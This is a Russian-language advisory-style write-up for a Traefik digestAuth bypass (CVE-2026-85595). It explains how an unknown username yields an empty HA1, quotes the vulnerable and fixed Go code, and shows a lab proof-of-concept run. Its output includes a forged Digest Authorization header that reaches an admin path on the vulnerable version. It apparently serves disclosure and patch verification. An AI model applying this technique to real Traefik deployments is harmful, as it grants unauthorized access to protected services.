CVE-2026-85595 — Traefik digestAuth аутентифицирует неизвестных пользователей (пустой секрет)

Затронуто: Traefik < 2.11.55 и 3.0.0 – 3.7.10 Исправлено: 2.11.55 / 3.7.11 Исправление: коммит b975dcaa8c48 в containous/go-http-auth "Reject DigestAuth when user secret is empty", включённый в Traefik коммитом 2116686308a2 (обновление go.mod) Рекомендация: GHSA-4v96-rv7j-9wmr · CVSS 9.8 · CWE-287

Механизм

Промежуточное ПО digest в Traefik вычисляет HA1 пользователя через собственный поиск секрета (pkg/middlewares/auth/digest_auth.go):

func (d *digestAuth) secretDigest(user, realm string) string {
	if secret, ok := d.users[user+":"+realm]; ok {
		return secret
	}
	return ""            // unknown user -> empty secret, not a rejection
}

CheckAuth из go-http-auth затем принимает этот "" как HA1 и вычисляет (digest.go:191-203 до исправления):

HA1 := da.Secrets(auth["username"], da.Realm)   // "" for an unknown user
HA2 := H(r.Method + ":" + auth["uri"])
KD  := H(HA1 + ":" + auth["nonce"] + ":" + auth["nc"] + ":" + auth["cnonce"] + ":" + auth["qop"] + ":" + HA2)

PlainTextSecrets для Traefik имеет значение false (файл users уже содержит HA1), поэтому HA1 остаётся пустой строкой. Каждый вход в KD, кроме HA1, контролируется атакующим или выдаётся в рамках 401-челленджа (nonce, opaque), а проверка uri принимает собственный путь запроса. Таким образом, ответ можно вычислить без какого-либо пароля и без имени пользователя, которое существует в файле users.

Исправление — три строки в библиотеке:

HA1 := da.Secrets(auth["username"], da.Realm)
if HA1 == "" {
	return "", nil
}

Traefik сам по себе не требовал изменения кода — только обновление зависимости — поэтому diff для v3.7.11 не содержит хунка digest_auth.go.

Лаборатория

роль	образ	контейнер	порт хоста
уязвимый прокси	traefik:v3.7.10	poc-traefik-vuln-3710	127.0.0.1:21010 → :8000
исправленный прокси	traefik:v3.7.11	poc-traefik-3711	127.0.0.1:21011 → :8000

• Маршрутизатор: PathPrefix(/admin) на entrypoint digest, middleware digestAuth (realm=traefik-lab, usersFile=/etc/traefik/users.htdigest, removeHeader: true).
• Файл пользователей: admin:traefik-lab:6002799976b7f2610ec21f5961f9e2e5 (admin:traefik-lab:S3cretLabPass). Пользователь ghost, используемый PoC, в нём отсутствует.
• Бэкенд: poc-traefik-app (python:3.12-alpine), отдаёт ADMIN-AREA … для /admin/*.
• Рецепт: lab/README.md.

Использование

python3 cve_2026_85595.py exploit --url http://127.0.0.1:21010   # vulnerable
python3 cve_2026_85595.py check   --url http://127.0.0.1:21011   # fixed

--output FILE записывает транскрипт; --path, --user переопределяют целевой путь и поддельное имя пользователя.

Проверка (реальный вывод)

1. Уязвимая версия traefik:v3.7.10 — обход

$ python3 cve_2026_85595.py exploit --url http://127.0.0.1:21010
[*] target          : http://127.0.0.1:21010
[*] protected path  : /admin/secret
[*] forged username : 'ghost' (not present in the users file)
[*] mode            : exploit
[*] control (no credentials)          -> HTTP 401
[*] challenge                         -> HTTP 401
    Digest realm="traefik-lab", nonce="YHTw9aQqfnJCLD4C", opaque="kWFhikjHjyGSF8Yq", algorithm="MD5", qop="auth"
[*] HA1 (secret for 'ghost')      -> ''
[*] forged response                   -> 33b1b9b9e57144f3c02045c22dbd2772
[*] Authorization: Digest username="ghost", realm="traefik-lab", nonce="YHTw9aQqfnJCLD4C", uri="/admin/secret", algorithm=MD5, qop=auth, nc=00000001, cnonce="0a4f113b", response="33b1b9b9e57144f3c02045c22dbd2772", opaque="kWFhikjHjyGSF8Yq"
[*] forged request                    -> HTTP 200
    body: ADMIN-AREA secret admin panel for /admin/secret
    request_line: GET /admin/secret HTTP/1.1
    resolved_path: /admin/secret
=> PASS (digestAuth bypassed with unknown user 'ghost' and an empty HA1; protected content served with HTTP 200)

Журнал доступа самого прокси фиксирует поддельную личность как аутентифицированного пользователя (ClientUsername — это второе поле после IP-адреса клиента):

192.168.48.1 - -     [24/Oct/2026:13:22:20 +0000] "GET /admin/secret HTTP/1.1" 401 17 "-" "-" 1 "digest-lab@file" "-" 0ms
192.168.48.1 - ghost [24/Oct/2026:13:22:20 +0000] "GET /admin/secret HTTP/1.1" 200 118 "-" "-" 3 "digest-lab@file" "http://app:8080" 6ms

2. Тот же прокси, без учётных данных (контроль)

$ curl -sS -o /dev/null -w '%{http_code}\n' http://127.0.0.1:21010/admin/secret
401

3. Исправлено traefik:v3.7.11 — поддельный дайджест отклонён

$ python3 cve_2026_85595.py check --url http://127.0.0.1:21011
[*] target          : http://127.0.0.1:21011
[*] protected path  : /admin/secret
[*] forged username : 'ghost' (not present in the users file)
[*] mode            : check
[*] control (no credentials)          -> HTTP 401
[*] challenge                         -> HTTP 401
    Digest realm="traefik-lab", nonce="kcFdYslQKbKj6yxm", opaque="NL8YFCUjlmHaxmZP", algorithm="MD5", qop="auth"
[*] HA1 (secret for 'ghost')      -> ''
[*] forged response                   -> 00cbf0f515f4663a98a223027faece2f
[*] Authorization: Digest username="ghost", realm="traefik-lab", nonce="kcFdYslQKbKj6yxm", uri="/admin/secret", algorithm=MD5, qop=auth, nc=00000001, cnonce="0a4f113b", response="00cbf0f515f4663a98a223027faece2f", opaque="NL8YFCUjlmHaxmZP"
[*] forged request                    -> HTTP 401
    body: 401 Unauthorized
=> PASS (fixed: forged digest for an unknown user rejected with HTTP 401)

Примечания / ограничения

• PoC формирует один запрос на каждый challenge; учёт nonce (nc) не требуется сверх однократного использования.
• Нигде не используются действительные учётные данные; единственное передаваемое имя пользователя — то, которого нет в файле пользователей.
• Та же техника работает против любого маршрутизатора, защищённого digestAuth, на затронутой версии, а также против 2.11.x < 2.11.55.